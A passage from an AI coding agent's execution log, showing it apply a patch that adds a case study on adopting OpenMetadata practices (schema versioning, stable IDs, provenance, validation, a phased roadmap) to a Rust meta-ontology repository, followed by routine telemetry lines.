[Glossary Term](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance/glossary/glossary-term) | Definitions, synonyms, related terms, tags, and references form a semantic graph |\\n+| Domains | [Domains and Data Products](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance/domains-%26-data-products) | Domain ownership and discoverable, documented products support decentralized stewardship |\\n+| Authorization | [Roles and Policies](https://docs.open-metadata.org/v1.12.x/how-to-guides/admin-guide/roles-policies) | Authorization evaluates actor, resource attributes, and operation |\\n+| Quality model | [Data Quality API](https://docs.open-metadata.org/v1.12.x/api-reference/data-quality) | Reusable definitions, applied cases, suites, and results separate rule from execution |\\n+| Observability | [Quality and Observability](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-quality-observability) | Tests, profiling, alerts, and incident handling form a feedback loop |\\n+| Deployment/security | [Deployment](https://docs.open-metadata.org/v1.12.x/deployment) and [Security](https://docs.open-metadata.org/v1.12.x/deployment/security) | Production operations and identity-provider integration are explicit concerns |\\n+\\n+## External standards and candidate components\\n+\\n+These are evaluated as interoperability options, not mandatory dependencies.\\n+\\n+| Need | Candidate | Intended use |\\n+| --- | --- | --- |\\n+| Data contract validation | [JSON Schema 2020-12](https://json-schema.org/draft/2020-12) | Portable interchange schema; keep lino canonical if desired |\\n+| Semantic graph exchange | [RDF 1.2](https://www.w3.org/TR/rdf12-concepts/) / [OWL 2](https://www.w3.org/TR/owl2-overview/) | Import/export and ontology-tool interoperability |\\n+| Graph constraints | [SHACL](https://www.w3.org/TR/shacl12-core/) | Express portable graph validity rules |\\n+| Provenance | [PROV-O](https://www.w3.org/TR/prov-o/) | Map source, agent, derivation, and activity metadata |\\n+| Lineage events | [OpenLineage](https://openlineage.io/docs/spec/) | Future pipeline lineage interchange, not core concept storage |\\n+| Rust serialization | [`serde`](https://docs.rs/serde/latest/serde/) | Typed interchange models |\\n+| Rust JSON Schema | [`schemars`](https://docs.rs/schemars/latest/schemars/) | Generate JSON Schema from Rust types |\\n+| Schema validation | [`jsonschema`](https://docs.rs/jsonschema/latest/jsonschema/) | Validate imported/exported JSON |\\n+| Stable identifiers | [`uuid`](https://docs.rs/uuid/latest/uuid/) | UUID identity when content-derived IDs are unsuitable |\\n+| HTTP service | [`axum`](https://docs.rs/axum/latest/axum/) | Existing roadmap choice for M3 |\\n+| API description | [`utoipa`](https://docs.rs/utoipa/latest/utoipa/) | Generate OpenAPI from Rust endpoint types |\\n+| Embedded search | [`tantivy`](https://docs.rs/tantivy/latest/tantivy/) | Optional local full-text index before external search infrastructure |\\n+| Graph algorithms | [`petgraph`](https://docs.rs/petgraph/latest/petgraph/) | Cycle, reachability, and integrity analysis if custom traversal becomes costly |\\n+\\n+## Reproducibility notes\\n+\\n+- Documentation versions are included in URLs where the official site exposed a\\n+  stable version. `latest` links should be rechecked before implementation.\\n+- The compact JSON snapshots record mutable facts. Full upstream repository\\n+  contents are not vendored because that would add millions of unrelated files\\n+  and create licensing/update noise.\\n+- Recommendations are reasoned adaptations to the current repository; they are\\n+  not claims that OpenMetadata implements the exact proposed Rust design.\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/openmetadata-analysis.md\\n+# Deep Analysis: What Meta-Ontology Should Learn from OpenMetadata\\n+\\n+## Context and limits\\n+\\n+OpenMetadata solves enterprise metadata discovery, ingestion, governance,\\n+lineage, quality, and collaboration. Meta-ontology currently loads a small lino\\n+graph into an in-memory Rust library and exposes it through a CLI. Their shared\\n+domain is metadata graphs; their scale, product scope, and operational needs are\\n+not comparable.\\n+\\n+Accordingly, this analysis extracts invariants and interfaces. It rejects\\n+technology copying where the problem is absent.\\n+\\n+## 1. Canonical schema as the center of the system\\n+\\n+OpenMetadata defines entities and types in language-neutral schemas and derives\\n+models used by server, ingestion, and UI layers. This prevents three subtly\\n+different definitions of the same entity.\\n+\\n+Meta-ontology already has Rust structs plus conventions embedded in lino. The\\n+risk is that conventions such as tuple position, mapping kind, language, or\\n+definition source evolve without a machine-checkable contract.\\n+\\n+### Adaptation\\n+\\n+- Declare a `schema_version` for the dataset and interchange representation.\\n+- Keep one authoritative Rust domain model.\\n+- Derive a JSON Schema interchange contract from it, or check a hand-maintained\\n+  schema against generated fixtures.\\n+- Validate lino-to-model normalization independently of parser success.\\n+- Reject unknown fields only at stable boundaries; provide migrations when a\\n+  stored format changes.\\n+\\n+JSON is an interchange format here, not a replacement for Links Notation.\\n+\\n+## 2. Identity, names, and references\\n+\\n+Metadata systems must distinguish machine identity, fully qualified names,\\n+display names, and aliases. A graph that uses a mutable label as identity makes\\n+rename operations destructive.\\n+\\n+### Adaptation\\n+\\n+Add an opaque `ConceptId` and make names indexed attributes. Define uniqueness,\\n+normalization, alias, deprecation, and redirect rules. A mapping or definition\\n+references the ID; CLI lookup may accept a canonical name or alias. Initially,\\n+IDs can be explicitly stored strings. UUIDs are useful only if decentralized\\n+creation makes coordinated human-readable IDs unsafe.\\n+\\n+### Required invariants\\n+\\n+- IDs are unique and immutable.\\n+- A canonical name is unique within its namespace and language rules.\\n+- Every edge endpoint resolves.\\n+- Alias chains terminate and cannot fork ambiguously.\\n+- Removing a referenced concept requires an explicit migration or tombstone.\\n+\\n+## 3. Typed relationships and graph integrity\\n+\\n+OpenMetadata treats lineage, ownership, classification, glossary association,\\n+and containment as relationships with meaning, rather than arbitrary strings.\\n+Meta-ontology needs the same discipline on a much smaller scale.\\n+\\n+### Adaptation\\n+\\n+Define a relation registry containing at least:\\n+\\n+- relation ID and canonical name;\\n+- source and target concept categories;\\n+- cardinality;\\n+- inverse, symmetry, and transitivity declarations where meaningful;\\n+- lifecycle state and provenance.\\n+\\n+Do not infer logical properties from English labels. Validation should report\\n+the source file and record for dangling endpoints, invalid cardinality, and\\n+forbidden relation types. Cycles remain legal\u2014the ontology is intentionally a\\n+graph\u2014but selected acyclic relations such as alias redirects can be checked.\\n+\\n+## 4. Provenance, versioning, and change events\\n+\\n+OpenMetadata preserves entity versions and uses source fingerprints to avoid\\n+unnecessary ingestion updates. Both ideas transfer well.\\n+\\n+### Adaptation\\n+\\n+Each imported assertion should be able to carry:\\n+\\n+- source URI or source document;\\n+- source record/version and retrieval time;\\n+- creating agent (human, connector, or migration);\\n+- confidence or review state when the assertion is inferred;\\n+- license/usage note for externally sourced descriptions;\\n+- deterministic content fingerprint.\\n+\\n+The loader can compare fingerprints and produce `Created`, `Updated`,\\n+`Unchanged`, `Deprecated`, and `Rejected` records. Start with newline-delimited\\n+JSON written by an explicit command. A database event table, webhook, or broker\\n+is unnecessary until another process consumes events.\\n+\\n+This also supports reproducible case studies: a claim can point to its source\\n+and the exact import decision.\\n+\\n+## 5. Ingestion as a normalized pipeline\\n+\\n+OpenMetadata connector code separates source extraction from normalized entity\\n+publication and uses a declarative topology for parent/child traversal.\\n+\\n+### Adaptation\\n+\\n+Use small Rust interfaces:\\n+\\n+```text\\n+Source -> RawRecord -> Normalizer -> CandidateAssertion\\n+       -> Validator -> OntologyChange -> Sink/Report\\n+```\\n+\\n+The first implementation should be a fixture connector, not a large catalog.\\n+It must demonstrate discovery, normalization, dry-run, idempotency,\\n+checkpointing, structured errors, provenance, and a second unchanged run.\\n+\\n+Connector capability declarations should state which entity/relation kinds are\\n+supported. Configuration must be typed, secrets must not appear in reports, and\\n+partial failures must not silently create a partially valid graph.\\n+\\n+## 6. Layered quality and observability\\n+\\n+OpenMetadata separates reusable test definitions, applications of those tests,\\n+suites, executions, and results. Meta-ontology can adopt that conceptual model\\n+without building a scheduler or UI.\\n+\\n+### Layers\\n+\\n+1. **Syntax:** lino parses.\\n+2. **Shape:** records conform to the versioned model.\\n+3. **Referential integrity:** IDs and relation endpoints resolve.\\n+4. **Semantic constraints:** cardinality, relation domain/range, alias rules,\\n+   required definition/language coverage.\\n+5. **Quality policy:** provenance, ownership, review status, mapping coverage,\\n+   duplicate/suspicious definitions.\\n+6. **Repository policy:** files format, tests pass, word coverage, size limits.\\n+\\n+Return stable diagnostic codes with file/record locations. Produce a JSON report\\n+for CI in addition to human output. Trend history and alert routing should wait\\n+until repeated scheduled validation exists.\\n+\\n+## 7. Governance belongs in the model\\n+\\n+OpenMetadata models ownership, glossaries, classifications, domains, policies,\\n+and lifecycle status. For meta-ontology, the immediate value is accountability\\n+and explainability, not enterprise access control.\\n+\\n+### Adaptation\\n+\\n+- Add optional owner/steward references at dataset, namespace, and concept level.\\n+- Define lifecycle values such as `draft`, `reviewed`, `stable`, `deprecated`.\\n+- Separate descriptive classification from security policy.\\n+- Let policies refer to metadata attributes so the future service can evaluate\\n+  actor + resource + operation.\\n+- Record review decisions as provenance rather than overwriting history.\\n+\\n+Authentication and authorization enforcement belongs at the future HTTP/API\\n+boundary. The library should expose policy-relevant attributes without deciding\\n+who the current user is.\\n+\\n+## 8. API and client boundaries\\n+\\n+OpenMetadata's schema-first REST API demonstrates the value of consistent\\n+resource naming and shared types. Meta-ontology's M3 service should not expose\\n+internal loader structs directly.\\n+\\n+### Proposed resources\\n+\\n+- `/api/v1/concepts` and `/api/v1/concepts/{id}`;\\n+- `/api/v1/relations` and graph traversal endpoints;\\n+- `/api/v1/definitions`, `/mappings`, and `/languages`;\\n+- `/api/v1/validation-runs` and `/changes`;\\n+- explicit import/export endpoints with dry-run support.\\n+\\n+Use cursor pagination, sparse field selection only when needed, structured\\n+errors, ETags for optimistic concurrency, and OpenAPI generation. Defer JSON\\n+Patch until partial updates and conflict semantics are fully specified.\\n+\\n+## 9. Search and discovery\\n+\\n+OpenMetadata uses dedicated indexing because it serves a large, heterogeneous\\n+catalog. The current ontology can search normalized in-memory fields.\\n+\\n+Define a `SearchIndex` interface only after search semantics are specified:\\n+exact ID/name, alias, language-aware text, relation filters, and ranking. A\\n+linear implementation is the correct baseline. Tantivy is a plausible embedded\\n+step if benchmarks show a need; an external cluster is not.\\n+\\n+## 10. Security and operations\\n+\\n+OpenMetadata documents authentication, authorization, secrets, upgrades,\\n+backups, and production deployment. These are reminders that a service boundary\\n+creates obligations.\\n+\\n+Before M3 is production-ready, specify:\\n+\\n+- read-only versus mutation endpoints;\\n+- authentication and authorization model;\\n+- request limits and payload limits;\\n+- secret handling for connectors;\\n+- audit/change retention;\\n+- schema/data migration and backup/restore procedures;\\n+- health, readiness, metrics, and structured logging;\\n+- threat tests for malformed graphs and expensive traversal.\\n+\\n+None of this requires adopting OpenMetadata's deployment topology today.\\n+\\n+## Risks and countermeasures\\n+\\n+| Risk | Countermeasure |\\n+| --- | --- |\\n+| Architecture astronautics | Require a measured use case and acceptance test for each infrastructure dependency |\\n+| Two canonical models (lino and JSON) | Define lino as storage syntax and Rust model as semantic authority; JSON is generated interchange |\\n+| Breaking old datasets | Version schemas and test migration fixtures |\\n+| Mutable names break links | Introduce stable IDs before importers or APIs |\\n+| Connector-specific core fields | Normalize behind a narrow candidate-assertion contract |\\n+| Unverifiable external claims | Require provenance and license metadata |\\n+| Quality rules become one opaque command | Layer checks and stable diagnostic codes |\\n+| Enterprise governance overwhelms MVP | Start with owner, lifecycle, provenance, and review status |\\n+| Search stack adds operations burden | Benchmark linear search; use embedded indexing before external services |\\n+| Upstream practices change | Pin source/version/date and re-evaluate at implementation time |\\n+\\n+## Recommended outcome\\n+\\n+The durable OpenMetadata lesson is contract coherence: schemas, ingestion,\\n+service APIs, governance, versioning, quality, and clients describe the same\\n+entities. Meta-ontology should build that coherence in-process first. A clean\\n+modular monolith can later move selected interfaces across process boundaries\\n+without redesigning the ontology.\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/requirements-and-solutions.md\\n+# Requirements, Solutions, and Implementation Plan\\n+\\n+## Requirement derivation\\n+\\n+Issue 5 names OpenMetadata in its title and uses the repository's standard case\\n+study instruction body. The explicit requirements are R1-R6. R7-R10 are implied\\n+by \u201cuse best practices\u201d and by making the output reviewable and actionable.\\n+\\n+## Complete requirement list\\n+\\n+| ID | Requirement | Evidence | Delivered here |\\n+| --- | --- | --- | --- |\\n+| R1 | Collect issue-related data under `docs/case-studies/issue-5` | Issue body | Source inventory and compact snapshots |\\n+| R2 | Perform a deep case-study analysis | Issue body | Architectural comparison, adaptations, risks |\\n+| R3 | Search online for additional facts and data | Issue body | Versioned official docs, upstream source, standards |\\n+| R4 | List every requirement from the issue | Issue body | This table |\\n+| R5 | Propose possible solutions and a plan for each requirement | Issue body | Requirement dispositions and phased plan below |\\n+| R6 | Check existing components/libraries that solve or assist each solution | Issue body | Standards/component evaluation in source inventory and below |\\n+| R7 | Identify OpenMetadata practices suitable for meta-ontology | Issue title | Ten practice areas with fit decisions |\\n+| R8 | Avoid adopting unsuitable complexity | \u201cbest practices\u201d requires contextual judgment | Explicit deferrals and decision gates |\\n+| R9 | Make recommendations verifiable | Deep analysis requirement | Acceptance tests, provenance, pinned sources |\\n+| R10 | Complete planning and execution in one PR | Issue body | All research artifacts are in PR 6 |\\n+\\n+## Solutions by requirement\\n+\\n+### R1: collect data\\n+\\n+**Options:** vendor the upstream repository; save complete API dumps; or preserve\\n+a curated, time-stamped evidence set with primary links.\\n+\\n+**Decision:** curated evidence. Vendoring a multi-gigabyte, Apache-licensed\\n+repository would be noisy and stale quickly. Full GitHub API payloads contain\\n+mostly transport metadata. The snapshots preserve the mutable facts needed to\\n+reproduce this analysis, while the inventory points to exact upstream areas.\\n+\\n+**Verification:** every local artifact named in the case-study README exists;\\n+mutable observations include an observation date; empty comment/review streams\\n+are recorded.\\n+\\n+### R2 and R7: deep analysis of applicable practices\\n+\\n+**Options:** feature checklist, technology-stack comparison, or domain-boundary\\n+analysis.\\n+\\n+**Decision:** domain-boundary analysis. It explains how schema, identity,\\n+relationships, provenance, ingestion, validation, governance, API, search, and\\n+operations affect this repository and explicitly states what not to copy.\\n+\\n+**Verification:** each practice has current-state context, an adaptation, and\\n+either an implementation slice or a deferral criterion.\\n+\\n+### R3: online research\\n+\\n+**Options:** secondary articles, current official docs, or source-only review.\\n+\\n+**Decision:** combine official versioned documentation with the upstream source\\n+tree and recognized standards. This gives design explanation plus inspectable\\n+implementation boundaries. Secondary claims are unnecessary.\\n+\\n+**Verification:** sources are primary, linked, access-dated, and separated from\\n+recommendations. Time-sensitive facts are not treated as permanent.\\n+\\n+### R4: enumerate requirements\\n+\\n+**Decision:** assign stable IDs to explicit and implied requirements. This avoids\\n+mistaking a long architectural summary for issue completion.\\n+\\n+**Verification:** every phrase in the issue body maps to R1-R6; the title's\\n+\u201cbest practices\u201d goal maps to R7-R9; single-PR completion maps to R10.\\n+\\n+### R5: solutions and plans\\n+\\n+**Decision:** use thin vertical slices, each ending in data fixtures, library\\n+behavior, CLI behavior, diagnostics, and tests. Avoid a \u201cplatform rewrite\u201d plan.\\n+\\n+**Verification:** the phased plan below has dependencies, acceptance criteria,\\n+and stop/go gates.\\n+\\n+### R6: components and libraries\\n+\\n+**Decision:** prefer standards and focused Rust crates over an OpenMetadata\\n+runtime dependency. OpenMetadata can interoperate later via JSON/RDF/OpenLineage\\n+or a purpose-built connector.\\n+\\n+| Capability | Build/adopt decision | Candidate |\\n+| --- | --- | --- |\\n+| Typed serialization | Adopt | `serde` |\\n+| JSON Schema generation | Prototype and compare generated diff in CI | `schemars` |\\n+| JSON Schema validation | Adopt at interchange boundary | `jsonschema` |\\n+| Stable opaque IDs | Start with explicit IDs; use crate if UUIDs chosen | `uuid` |\\n+| Graph algorithms | Keep current code until complexity warrants dependency | `petgraph` |\\n+| RDF/OWL exchange | Design mapping first; evaluate maintained Rust libraries with fixtures | W3C RDF/OWL |\\n+| Provenance vocabulary | Map internal provenance fields | PROV-O |\\n+| Constraint exchange | Export selected rules later | SHACL |\\n+| HTTP API | Use existing roadmap selection | `axum` |\\n+| OpenAPI | Generate from endpoint/model types | `utoipa` |\\n+| Search | Linear baseline, then benchmark embedded option | `tantivy` |\\n+| Pipeline lineage | Interoperate only when pipeline entities exist | OpenLineage |\\n+\\n+Crates must be re-evaluated for maintenance, license, MSRV, WASM compatibility,\\n+and dependency footprint when their slice begins. Listing one is not approval to\\n+add it.\\n+\\n+### R8: control complexity\\n+\\n+**Decision:** use decision gates:\\n+\\n+- no database until persistence, concurrency, or corpus size requires it;\\n+- no search service until a benchmark fails an agreed latency target;\\n+- no scheduler until at least two recurring connectors exist;\\n+- no distributed components until independent scaling or availability is a\\n+  documented requirement;\\n+- no authorization engine until mutations cross a service boundary.\\n+\\n+### R9: verifiability\\n+\\n+**Decision:** each implementation slice starts with fixtures and failing tests.\\n+All imports expose provenance and a dry-run report. Diagnostics have stable\\n+codes. Benchmarks, not analogy, trigger infrastructure.\\n+\\n+### R10: single-PR execution\\n+\\n+**Decision:** PR 6 contains the complete research deliverable and future plans.\\n+The product slices remain separately reviewable future work because implementing\\n+all of OpenMetadata's capabilities would violate R8 and the issue asks for\\n+solution proposals/plans, not a platform rewrite.\\n+\\n+## Prioritized implementation roadmap\\n+\\n+### Phase 0: accept this architecture record\\n+\\n+Deliverables:\\n+\\n+- this case study and source inventory;\\n+- explicit decisions and deferrals;\\n+- tracked follow-up issues for approved phases.\\n+\\n+Acceptance: documentation links pass; local CI passes; reviewers can trace each\\n+requirement to a delivered artifact.\\n+\\n+### Phase 1: versioned identity and validation\\n+\\n+Dependencies: none.\\n+\\n+1. Add failing fixtures for duplicate IDs, dangling edges, invalid relation\\n+   domain/range, ambiguous aliases, and unsupported schema versions.\\n+2. Introduce `ConceptId`, dataset `schema_version`, lifecycle state, and source\\n+   location without changing CLI display behavior.\\n+3. Add layered validators and stable diagnostic codes.\\n+4. Add `validate --format human|json` and golden reports.\\n+5. Provide a migration for current lino fixtures.\\n+\\n+Acceptance:\\n+\\n+- all current data migrates without semantic loss;\\n+- invalid fixtures fail at the intended validation layer;\\n+- a rename preserves ID-based references;\\n+- CLI output remains backward compatible unless explicitly versioned.\\n+\\n+### Phase 2: provenance and deterministic changes\\n+\\n+Dependencies: Phase 1.\\n+\\n+1. Model source URI/document, agent, time, review state, license note, and\\n+   content fingerprint.\\n+2. Test create/update/unchanged/deprecate decisions before implementation.\\n+3. Add dry-run diff and newline-delimited JSON change export.\\n+4. Ensure identical imports are idempotent and deterministic.\\n+\\n+Acceptance: importing the same fixture twice produces zero updates on the\\n+second run; every changed assertion points to source evidence.\\n+\\n+### Phase 3: one connector contract\\n+\\n+Dependencies: Phases 1-2.\\n+\\n+1. Define typed source configuration, capability declaration, checkpoint, raw\\n+   record, normalized candidate, and structured error contracts.\\n+2. Build one fixture-backed connector end to end.\\n+3. Test partial failures, secret redaction, retry classification, dry run, and\\n+   resume behavior.\\n+4. Document how a second connector would be added without core-model changes.\\n+\\n+Acceptance: two unchanged runs are idempotent; invalid records are quarantined\\n+with evidence; no source-specific field enters the core model without a general\\n+domain reason.\\n+\\n+### Phase 4: interchange\\n+\\n+Dependencies: Phase 1; provenance fields from Phase 2 recommended.\\n+\\n+1. Generate or maintain JSON Schema for the stable public model.\\n+2. Add JSON import/export round-trip fixtures.\\n+3. Map a deliberately small RDF/OWL/PROV-O subset and publish loss reports.\\n+4. Evaluate SHACL export for constraints; do not claim lossless round trips\\n+   until tests prove them.\\n+\\n+Acceptance: schema validation runs in CI; JSON round trips preserve IDs and\\n+relationships; semantic exports declare unsupported/lossy fields.\\n+\\n+### Phase 5: service API (existing roadmap M3)\\n+\\n+Dependencies: stable Phases 1-4 contracts.\\n+\\n+1. Specify OpenAPI and error/pagination/concurrency conventions first.\\n+2. Implement read-only resources in `axum` over the library.\\n+3. Add mutation/import endpoints only with authentication, authorization,\\n+   limits, audit changes, and threat tests.\\n+4. Add health/readiness, structured logs, metrics, backup, and migration docs.\\n+\\n+Acceptance: generated client contract tests pass; malformed/expensive requests\\n+are bounded; library, CLI, and API return semantically consistent entities.\\n+\\n+### Phase 6: search and UI (existing roadmap M4)\\n+\\n+Dependencies: representative corpus and measured UX needs.\\n+\\n+1. Specify query semantics and benchmark linear search.\\n+2. Add a `SearchIndex` abstraction only if needed.\\n+3. Evaluate Tantivy if the baseline misses the target.\\n+4. Build UI against the public API/model, including provenance and validation\\n+   state rather than hiding them.\\n+\\n+Acceptance: a recorded benchmark justifies any new index; search relevance has\\n+golden queries; the UI has browser tests and accessibility checks.\\n+\\n+### Phase 7: governance enforcement and operations\\n+\\n+Dependencies: mutating service and real multi-user requirements.\\n+\\n+1. Turn owner, lifecycle, classification, and policy references into evaluated\\n+   actor/resource/operation rules.\\n+2. Add audit retention and policy decision tests.\\n+3. Add connector scheduling only when recurring jobs require it.\\n+4. Document upgrades, restore drills, incident response, and supported versions.\\n+\\n+Acceptance: deny/allow tests cover every mutation class; restore drills recover\\n+data and history; operational objectives are explicit.\\n+\\n+## Cross-cutting test strategy\\n+\\n+- Unit tests: IDs, normalization, fingerprints, rules, diagnostic codes.\\n+- Property tests: parser/serializer round trips and arbitrary graph safety.\\n+- Golden fixtures: version migrations, import reports, API schemas.\\n+- Integration tests: source-to-normalized-to-validated-to-change pipeline.\\n+- Compatibility tests: old lino data and public CLI behavior.\\n+- Security tests: payload limits, traversal bounds, secret redaction, policy.\\n+- Benchmarks: loader, validation, traversal, and search before optimization.\\n+- WASM tests: dependencies and public types compile for the M4 target.\\n+\\n+## Final recommendation\\n+\\n+Approve Phases 1 and 2 as the first product follow-up. They create the stable\\n+identity, validation, and evidence foundation required by every later practice.\\n+Do not begin with connectors, HTTP, search, or deployment infrastructure: doing\\n+so would freeze weak contracts behind expensive boundaries.\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/issue-5.json\\n+{\\n+  \\\"observed_at\\\": \\\"2026-07-12\\\",\\n+  \\\"url\\\": \\\"https://github.com/link-foundation/meta-ontology/issues/5\\\",\\n+  \\\"number\\\": 5,\\n+  \\\"state\\\": \\\"OPEN\\\",\\n+  \\\"title\\\": \\\"We should use best practices from https://github.com/open-metadata/OpenMetadata\\\",\\n+  \\\"labels\\\": [\\\"documentation\\\", \\\"enhancement\\\"],\\n+  \\\"comment_count\\\": 0,\\n+  \\\"requirements_from_body\\\": [\\n+    \\\"Collect issue-related data under docs/case-studies/issue-{id}.\\\",\\n+    \\\"Perform deep case study analysis and search online for additional facts and data.\\\",\\n+    \\\"List every requirement from the issue.\\\",\\n+    \\\"Propose solutions and solution plans for every requirement.\\\",\\n+    \\\"Check existing components and libraries that solve similar problems or can help.\\\",\\n+    \\\"Plan and execute the complete deliverable in one pull request.\\\"\\n+  ]\\n+}\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/research-observations.json\\n+{\\n+  \\\"observed_at\\\": \\\"2026-07-12\\\",\\n+  \\\"meta_ontology\\\": {\\n+    \\\"repository\\\": \\\"link-foundation/meta-ontology\\\",\\n+    \\\"default_branch\\\": \\\"main\\\",\\n+    \\\"default_branch_commit\\\": \\\"04e732e\\\",\\n+    \\\"prepared_branch\\\": \\\"issue-5-e2602184e2c5\\\",\\n+    \\\"pull_request\\\": 6,\\n+    \\\"pull_request_state_at_collection\\\": \\\"OPEN_DRAFT\\\",\\n+    \\\"issue_comments\\\": 0,\\n+    \\\"pull_request_conversation_comments\\\": 0,\\n+    \\\"pull_request_inline_comments\\\": 0,\\n+    \\\"pull_request_reviews\\\": 0\\n+  },\\n+  \\\"openmetadata\\\": {\\n+    \\\"repository\\\": \\\"open-metadata/OpenMetadata\\\",\\n+    \\\"default_branch\\\": \\\"main\\\",\\n+    \\\"license_spdx\\\": \\\"Apache-2.0\\\",\\n+    \\\"latest_github_release\\\": \\\"1.13.1-release\\\",\\n+    \\\"latest_release_published_at\\\": \\\"2026-06-27T11:35:50Z\\\",\\n+    \\\"relevant_top_level_areas\\\": [\\n+      \\\"openmetadata-spec\\\",\\n+      \\\"openmetadata-service\\\",\\n+      \\\"ingestion\\\",\\n+      \\\"openmetadata-ui\\\",\\n+      \\\"openmetadata-clients\\\",\\n+      \\\"openmetadata-dist\\\",\\n+      \\\"docker\\\"\\n+    ]\\n+  },\\n+  \\\"notes\\\": [\\n+    \\\"Counts and latest-release facts are time-sensitive and must be rechecked before implementation.\\\",\\n+    \\\"No upstream source files are copied into this repository; primary links and derived observations are preserved instead.\\\"\\n+  ]\\n+}\\n*** Add File: /tmp/gh-issue-solver-1783828904396/changelog.d/20260712_openmetadata_case_study.md\\n+---\\n+bump: patch\\n+---\\n+\\n+### Added\\n+\\n+- Added an issue 5 case study that evaluates transferable OpenMetadata practices,\\n+  preserves research observations, inventories reusable standards and Rust\\n+  components, and provides a phased implementation plan.\\n*** End Patch\";\n[2026-07-12T04:06:07.482Z] [INFO] text(await tools.apply_patch(patch));\n[2026-07-12T04:06:07.482Z] [INFO]  duration_ms=673 success=true output=Script completed\n[2026-07-12T04:06:07.482Z] [INFO] Wall time 0.6 seconds\n[2026-07-12T04:06:07.482Z] [INFO] Output:\n[2026-07-12T04:06:07.482Z] [INFO] \n[2026-07-12T04:06:07.482Z] [INFO] {} mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:07.411Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:07.482Z] [INFO] 2026-07-12T04:06:07.411748Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_DEIkknavGwraQTaK8nJaBIzd duration_ms=673 success=true arguments_length=39812 output_length=50 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:07.411Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:07.482Z] [INFO] 2026-07-12T04:06:07.412268Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_DEIkknavGwraQTaK8nJaBIzd tool_source=\"direct\" execution_started=true dispatch_duration_ms=2 handler_duration_ms=674 total_duration_ms=676\n[2026-07-12T04:06:07.482Z] [INFO] 2026-07-12T04:06:07.418613Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:06:07.482Z] [INFO] \n[2026-07-12T04:06:07.501Z] [INFO] 2026-07-12T04:06:07.485737Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:06:07.501Z] [INFO] \n[2026-07-12T04:06:07.507Z] [INFO] 2026-07-12T04:06:07.495251Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:06:07.507Z] [INFO] 2026-07-12T04:06:07.497988Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:07.497Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol 